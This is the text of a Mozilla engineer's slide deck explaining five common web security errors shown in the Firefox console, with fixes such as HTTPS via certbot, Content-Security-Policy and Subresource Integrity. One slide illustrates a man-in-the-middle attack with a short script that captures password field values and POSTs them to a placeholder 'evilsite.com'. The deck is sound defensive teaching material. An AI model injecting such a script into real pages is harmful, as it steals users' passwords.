"Top" 5 Security Errors We See From Firefox and How to Fix Them

Fixing the Top 5 Web Security Errors We see from
Firefox Luke Crouch • Privacy + Security Engineer, Mozilla • @groovecoder

Me. I’m Luke Crouch. I work on Privacy & Security.
I click thru slides really fast. Twitter: @groovecoder 2

The “Top 5”* 3 * MDN Google Analytics: Pageviews in
/en-US/docs/Web/Security from utm_medium=firefox-console-errors

05 Same-Origin Policy

Cross-Origin Request 7 http://www.evilcorp.com <html> … <script> new XMLHttpRequest().open( “GET”,
“boss.bankofamerica.com/data.json” ); </script> … </html>

Cross-Origin Request Threats 8 Attacker •Any Malicious Origin • Phishing
& Malware Sites • Compromised CDNs • Untrusted First Parties Attacks •Steal data from other origins

“Fix”: All browsers enforce Same-Origin Policy

“Fix”: Use HTTP Access Control (CORS) to allow cross-origin access

HTTP Access Control (CORS) 11 https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS

HTTP Access Control (CORS) 12 http://public.slidesharecdn.com/data.json … Access-Control-Allow-Origin: www.slideshare.net …
http://www.slideshare.net <html> … <script> new XMLHttpRequest().open( “GET”, “public.slidesharecdn.com/data.json” ); </script> … </html> https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS

04 Form Autocompletion

I couldn’t find the specific errors, so, in general …

By default, Browsers remember what users submit via input fields

Form Autocompletion 16

Form autocompletion 17 <form method=“post” action=“/updatePII”> <input type=“text” name=“ssn” >
… </form> <form method=“post” action=“/form”> <input type=“text” name=“cc”> … </form> https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion

Form auto-complete Threats 18 Attacker •Malware authors •Over-the-shoulder Attacks •Steal
the data from a file •Steal the data from the screen

Disabling for sensitive information 19 <form method=“post” action=“/updatePII” autocomplete=“off”> <input
type=“text” name=“ssn” > … </form> <form method=“post” action=“/form”> <input type=“text” name=“cc” autocomplete=“off”> … </form> Disable for the entire form Disable for 1 field* https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion

Caveat: login fields ; browsers want to remember this 20
<form method=“post” action=“/form”> <input type=“text” name=“username” autocomplete=“off”> <input type=“password” name=“password” autocomplete=“off”> … </form> Has no effect; browser still offers to remember https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion

03 Weak Signature Algorithms

Weak Signature Algorithms Threats 23 Attacker •Malicious host •(with redirect
or MITM vector) Attacks •Collision: Fraudulent certificates •2008 - md5: RapidSSL, Microsoft •2015 - SHA-1: “The SHAppening”

Weak Signature Algorithms 24 $ openssl req -new -newkey rsa:2048
-nodes -sha1 \ -out thecustomizewindows.com.csr \ -keyout thecustomizewindows.com.key $ openssl req -in thecustomizewindows.com.csr -noout -text Certificate Request: … Signature Algorithm: sha1WithRSAEncryption

Fixing weak signatures is the same as fixing …

02 Insecure Passwords (Transmission)

Insecure passwords 29 http://www.espn.com <html> … <form action=“/login"> <input type=“password”
/> … </html>

Insecure passwords 30 https://www.espn.com <html> … <form action=“http://www.espn.com/login" <input type=“password”
/> … </html>

Insecure passwords 31 http://www.espn.com <html> … <form action=“https://www.espn.com/login" <input type=“password”
/> … </html> THIS IS NOT SECURE!

Insecure passwords 32 http://www.espn.com <html> <script> // Injected via HTTP
MitM […document.querySelectorAll(“[type=‘password’]”)].forEach(pwInput=>{ pwInput.addEventListener(“change”, ()=> { fetch(“evilsite.com”, {method: “POST”, body: pwInput.value}); }); }); </script> … <form action=“https://www.espn.com/login" <input type=“password” /> … </html> SEE, TOLD YOU SO!

Insecure password transmission Threats 33 Attacker •Man-in-the-middle: • Open WiFi
• ISP • Proxies Attacks •Steal password ๏+ Password reuse

Fixing weak signatures and insecure passwords is the same as
fixing …

01 Mixed Content

Insecure active content 37 <script>, <link>, <iframe>, <object>, XMLHttpRequest, @font-face,
cursor, background-image, etc. https://www.dailymotion.com/us <html> … <script src=“http://mc.dailymotion.com/masscast/2/dailymotion.us/ home/76127265087”> </script> … </html>

Insecure active content Threats 38 Attacker • Man-in-the-middle: • Open
WiFi • ISP • Proxies Attacks • Steal credentials • Steal sensitive data from DOM • Alter behavior of DOM • Install malware

Browsers already fix insecure active content for you by blocking
it

insecure passive/display content

Insecure passive/display content 42 <img>, <audio>, <video>, <object> https://www.booking.com/ <html>
… <img src=“http://tags.w55c.net/rs? id=c332832256414794bb465731a031be55& t=homepage” /> … </html>

Insecure passive/display content Threats 43 Attacker •Man-in-the-middle: • Open WiFi
• ISP • Proxies Attacks •Break page •Snoop content •Inject Misleading content

Snooping Session Cookies

Snooping Session Cookies 45

Snooping Session Cookies = Session Hijacking 46

Snooping Other Cookies

Snooping Other Cookies 50

Snooping Other Cookies 51

Sneak Peak: Cookie Syncing 52 https://freedom-to-tinker.com/blog/englehardt/the-hidden-perils-of-cookie-syncing/

Fixing weak signatures, insecure passwords, AND insecure content

HTTPS ALL THE THINGS!

certbot + Let’s Encrypt 59 brew install certbot sudo certbot
certonly --manual —preferred-challenges dns

certbot + Let’s Encrypt 60

certbot + Let’s Encrypt 61 Please deploy a DNS TXT
record under the name _acme-challenge.www.codesy.io with the following value: CxYdvM…5WvXR0 Once this is deployed, Press ENTER to continue

Deploy the TXT record to your DNS

certbot + Let’s Encrypt 63 Please deploy a DNS TXT
record under the name _acme-challenge.www.codesy.io with the following value: CxYdvM…5WvXR0 Once this is deployed, Press ENTER to continue

Add signed cert to your site!

Yay! You secured your site!

But there’s legacy insecure content! 68 http://webappsec-test.info/~bhill2/DifferentTakeOnOE.html

Content-Security-Policy

Content-Security-Policy 70 Content-Security-Policy: default-src https:; Enforce https: for all src
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

good: upgrade-insecure-requests 71 Content-Security-Policy: default-src https:; upgrade-insecure-requests; https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests Change http
links to https

upgrade-insecure-requests 72 http://webappsec-test.info/~bhill2/DifferentTakeOnOE.html

better: block-all-mixed-content 73 Content-Security-Policy: block-all-mixed-content; https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content On https pages, block
http requests

How do you know which content is insecure?

Content-Security-Policy-Report-Only 75 Content-Security-Policy-Report-Only: default-src https:; block-all-mixed-content; report-uri https://groovecoder.report-uri.io/r/default/csp/ reportOnly Do
not enforce; only report violations https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only

Content-Security-Policy report-uri 76 Report violations here https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri Content-Security-Policy-Report-Only: default-src https:;
block-all-mixed-content; report-uri https://groovecoder.report-uri.io/r/default/csp/ reportOnly

report-uri.io 77

What if you have to use insecure resources?

Sub-Resource Integrity

Subresource Integrity (SRI) 80 https://example.com <html> … <script src=“http://examplecdn.com/framework.js” crossorigin=“anonymous”
integrity=“sha512-oqVuAfXRKap7fdgc…”> </script> … https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity Hash Algorithm Hash Digest

What if resources add their own <script> or <style> elements?

require-sri-for 82 https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP Content-Security-Policy-Report-Only: require-sri-for script style; report-uri https://groovecoder.report-uri.io/r/default/csp/ reportOnly
Require sri attributes on all <script> and <style> elements

But, yeah … HTTPS ALL THE THINGS!

Thanks. Luke Crouch Twitter: @groovecoder groovecoder.com 85

"Top" 5 Security Errors We See From Firefox and...

"Top" 5 Security Errors We See From Firefox and How to Fix Them

More Decks by luke crouch

Other Decks in Technology

Featured

Transcript